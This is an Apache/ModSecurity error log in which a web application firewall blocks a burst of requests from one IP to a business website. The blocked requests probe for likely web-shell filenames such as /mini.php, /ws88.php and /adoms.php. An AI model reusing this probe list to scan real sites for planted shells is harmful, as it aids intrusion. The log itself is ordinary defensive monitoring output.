[Tue Apr 21 21:26:25.650285 2026] [:error] [pid 53731:tid 53757] [client 172.213.216.244:31713] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aed7AV2I9THUR-bRVGxwdwAAAhU"]
[Tue Apr 21 21:26:27.552898 2026] [:error] [pid 35320:tid 35349] [client 172.213.216.244:36363] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aed7A4JW6fdXWO6agMHQigAAABM"]
[Tue Apr 21 21:26:30.047847 2026] [:error] [pid 35321:tid 35402] [client 172.213.216.244:26921] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aed7BjeHLhVUuu8cVXy0uQAAAFI"]
[Tue Apr 21 21:26:31.261552 2026] [:error] [pid 53832:tid 53838] [client 172.213.216.244:30191] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/900.php"] [unique_id "aed7B9zkuxsE_OhM9UJwOAAAAkM"]
[Tue Apr 21 21:26:32.359770 2026] [:error] [pid 53978:tid 53999] [client 172.213.216.244:36366] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/900.php"] [unique_id "aed7CJ1ivsR4hcOSQbYoSQAAApM"]
[Tue Apr 21 21:26:32.999015 2026] [:error] [pid 53731:tid 53750] [client 172.213.216.244:38770] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/900.php"] [unique_id "aed7CF2I9THUR-bRVGxwhgAAAg8"]
[Tue Apr 21 21:26:33.547733 2026] [:error] [pid 35322:tid 35369] [client 172.213.216.244:38727] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/900.php"] [unique_id "aed7CaPoAfV40BTfVKzeXQAAAIw"]
[Tue Apr 21 21:26:34.095748 2026] [:error] [pid 35321:tid 35408] [client 172.213.216.244:36101] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aed7CjeHLhVUuu8cVXy00wAAAFg"]
[Tue Apr 21 21:26:34.664737 2026] [:error] [pid 35321:tid 35399] [client 172.213.216.244:40061] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aed7CjeHLhVUuu8cVXy01gAAAE8"]
[Tue Apr 21 21:26:35.374251 2026] [:error] [pid 35321:tid 35401] [client 172.213.216.244:38757] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aed7CzeHLhVUuu8cVXy02AAAAFE"]
[Tue Apr 21 21:26:35.902553 2026] [:error] [pid 35321:tid 35400] [client 172.213.216.244:32331] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-links-opml.php"] [unique_id "aed7CzeHLhVUuu8cVXy02gAAAFA"]
[Tue Apr 21 21:26:36.516372 2026] [:error] [pid 35321:tid 35392] [client 172.213.216.244:29069] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aed7DDeHLhVUuu8cVXy05AAAAEg"]
[Tue Apr 21 21:26:37.289849 2026] [:error] [pid 35321:tid 35406] [client 172.213.216.244:32338] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aed7DTeHLhVUuu8cVXy07gAAAFY"]
[Tue Apr 21 21:26:38.577036 2026] [:error] [pid 35321:tid 35401] [client 172.213.216.244:42515] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aed7DjeHLhVUuu8cVXy0-gAAAFE"]
[Tue Apr 21 21:26:39.624263 2026] [:error] [pid 35320:tid 35339] [client 172.213.216.244:32372] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jk.php"] [unique_id "aed7D4JW6fdXWO6agMHQlwAAAAk"]
[Tue Apr 21 21:26:40.334312 2026] [:error] [pid 35321:tid 35403] [client 172.213.216.244:36159] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aed7EDeHLhVUuu8cVXy1BwAAAFM"]
[Tue Apr 21 21:26:41.360521 2026] [:error] [pid 35321:tid 35404] [client 172.213.216.244:36094] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aed7ETeHLhVUuu8cVXy1CwAAAFQ"]
[Tue Apr 21 21:26:42.518060 2026] [:error] [pid 54080:tid 54104] [client 172.213.216.244:56832] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aed7EozEbQHHxtmWbaa-cQAAAtY"]
[Tue Apr 21 21:26:43.417093 2026] [:error] [pid 35320:tid 35348] [client 172.213.216.244:55431] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aed7E4JW6fdXWO6agMHQqgAAABI"]
[Tue Apr 21 21:26:44.100350 2026] [:error] [pid 35321:tid 35396] [client 172.213.216.244:29916] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aed7FDeHLhVUuu8cVXy1HQAAAEw"]
[Tue Apr 21 21:26:44.807936 2026] [:error] [pid 53978:tid 53997] [client 172.213.216.244:30623] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aed7FJ1ivsR4hcOSQbYoWgAAApE"]
[Tue Apr 21 21:26:46.639831 2026] [:error] [pid 54080:tid 54101] [client 172.213.216.244:34244] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aed7FozEbQHHxtmWbaa-dAAAAtM"]
[Tue Apr 21 21:26:50.582756 2026] [:error] [pid 53978:tid 53996] [client 172.213.216.244:56885] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aed7Gp1ivsR4hcOSQbYoXwAAApA"]
[Tue Apr 21 21:26:52.540132 2026] [:error] [pid 53832:tid 53837] [client 172.213.216.244:35390] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aed7HNzkuxsE_OhM9UJwPwAAAkI"]
[Tue Apr 21 21:26:55.203729 2026] [:error] [pid 35320:tid 35339] [client 172.213.216.244:24330] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aed7H4JW6fdXWO6agMHQ1gAAAAk"]
[Tue Apr 21 21:26:56.913978 2026] [:error] [pid 35320:tid 35344] [client 172.213.216.244:32109] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aed7IIJW6fdXWO6agMHQ3gAAAA4"]
[Tue Apr 21 21:26:57.581689 2026] [:error] [pid 54080:tid 54084] [client 172.213.216.244:29938] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aed7IYzEbQHHxtmWbaa-eQAAAsI"]
[Tue Apr 21 21:26:58.512279 2026] [:error] [pid 53832:tid 53854] [client 172.213.216.244:24379] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aed7ItzkuxsE_OhM9UJwTQAAAlM"]
[Tue Apr 21 21:26:59.377586 2026] [:error] [pid 54080:tid 54090] [client 172.213.216.244:32070] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aed7I4zEbQHHxtmWbaa-hgAAAsg"]
[Tue Apr 21 21:26:59.927922 2026] [:error] [pid 53731:tid 53750] [client 172.213.216.244:56869] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aed7I12I9THUR-bRVGxwrwAAAg8"]
[Tue Apr 21 21:27:00.436027 2026] [:error] [pid 35320:tid 35345] [client 172.213.216.244:32001] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aed7JIJW6fdXWO6agMHQ_gAAAA8"]
[Tue Apr 21 21:27:01.030281 2026] [:error] [pid 35320:tid 35350] [client 172.213.216.244:23944] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "aed7JYJW6fdXWO6agMHRCgAAABQ"]
[Tue Apr 21 21:27:01.649279 2026] [:error] [pid 35321:tid 35394] [client 172.213.216.244:28919] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "aed7JTeHLhVUuu8cVXy1YgAAAEo"]
[Tue Apr 21 21:27:02.359931 2026] [:error] [pid 53978:tid 53985] [client 172.213.216.244:24353] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "aed7Jp1ivsR4hcOSQbYolQAAAoU"]
[Tue Apr 21 21:27:02.923103 2026] [:error] [pid 35321:tid 35396] [client 172.213.216.244:35784] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "aed7JjeHLhVUuu8cVXy1iwAAAEw"]
[Tue Apr 21 21:27:03.510778 2026] [:error] [pid 35321:tid 35398] [client 172.213.216.244:32604] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aed7JzeHLhVUuu8cVXy1lwAAAE4"]
[Tue Apr 21 21:27:04.056012 2026] [:error] [pid 35321:tid 35402] [client 172.213.216.244:23971] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aed7KDeHLhVUuu8cVXy1ogAAAFI"]
[Tue Apr 21 21:27:04.651422 2026] [:error] [pid 35321:tid 35400] [client 172.213.216.244:32260] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aed7KDeHLhVUuu8cVXy1tAAAAFA"]
[Tue Apr 21 21:27:05.250526 2026] [:error] [pid 53731:tid 53756] [client 172.213.216.244:34240] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aed7KV2I9THUR-bRVGxwywAAAhQ"]
[Tue Apr 21 21:27:06.396065 2026] [:error] [pid 35320:tid 35348] [client 172.213.216.244:28908] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aed7KoJW6fdXWO6agMHRLwAAABI"]
[Tue Apr 21 21:27:07.022536 2026] [:error] [pid 53978:tid 53989] [client 172.213.216.244:29503] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aed7K51ivsR4hcOSQbYooAAAAok"]
[Tue Apr 21 21:27:07.540213 2026] [:error] [pid 35320:tid 35340] [client 172.213.216.244:35800] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aed7K4JW6fdXWO6agMHRMQAAAAo"]
[Tue Apr 21 21:27:08.201628 2026] [:error] [pid 4823:tid 4857] [client 172.213.216.244:32165] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-block.php"] [unique_id "aed7LPc8mke3PfHqsxEC-AAAAYQ"]
[Tue Apr 21 21:27:08.879374 2026] [:error] [pid 35321:tid 35401] [client 172.213.216.244:35833] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "aed7LDeHLhVUuu8cVXy10AAAAFE"]
[Tue Apr 21 21:27:09.489994 2026] [:error] [pid 35321:tid 35390] [client 172.213.216.244:32305] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "aed7LTeHLhVUuu8cVXy11QAAAEY"]
[Tue Apr 21 21:27:10.097299 2026] [:error] [pid 53978:tid 53999] [client 172.213.216.244:41679] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "aed7Lp1ivsR4hcOSQbYopwAAApM"]
[Tue Apr 21 21:27:11.352549 2026] [:error] [pid 53731:tid 53742] [client 172.213.216.244:28881] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "aed7L12I9THUR-bRVGxw0gAAAgc"]
[Tue Apr 21 21:27:13.699187 2026] [:error] [pid 35320:tid 35345] [client 172.213.216.244:23952] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adoms.php"] [unique_id "aed7MYJW6fdXWO6agMHRPAAAAA8"]
[Tue Apr 21 21:27:16.166033 2026] [:error] [pid 35321:tid 35384] [client 172.213.216.244:32083] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adoms.php"] [unique_id "aed7NDeHLhVUuu8cVXy19wAAAEA"]
[Tue Apr 21 21:27:17.622723 2026] [:error] [pid 35415:tid 35442] [client 172.213.216.244:32145] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adoms.php"] [unique_id "aed7NUiqDinI4_22zzh3NgAAAM8"]
[Tue Apr 21 21:27:28.605401 2026] [:error] [pid 35320:tid 35337] [client 172.213.216.244:32081] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aed7QIJW6fdXWO6agMHRYgAAAAc"]
[Tue Apr 21 21:27:29.195947 2026] [:error] [pid 35321:tid 35395] [client 172.213.216.244:26782] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aed7QTeHLhVUuu8cVXy2NgAAAEs"]
[Tue Apr 21 21:27:29.788617 2026] [:error] [pid 35415:tid 35433] [client 172.213.216.244:27254] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aed7QUiqDinI4_22zzh3OgAAAMY"]
[Tue Apr 21 21:27:30.678421 2026] [:error] [pid 53731:tid 53756] [client 172.213.216.244:47376] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aed7Ql2I9THUR-bRVGxxDwAAAhQ"]
[Tue Apr 21 21:27:31.148169 2026] [:error] [pid 53731:tid 53744] [client 172.213.216.244:31399] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "aed7Q12I9THUR-bRVGxxEgAAAgk"]
[Tue Apr 21 21:27:31.715698 2026] [:error] [pid 53731:tid 53746] [client 172.213.216.244:26991] [client 172.213.216.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "aed7Q12I9THUR-bRVGxxFwAAAgs"]
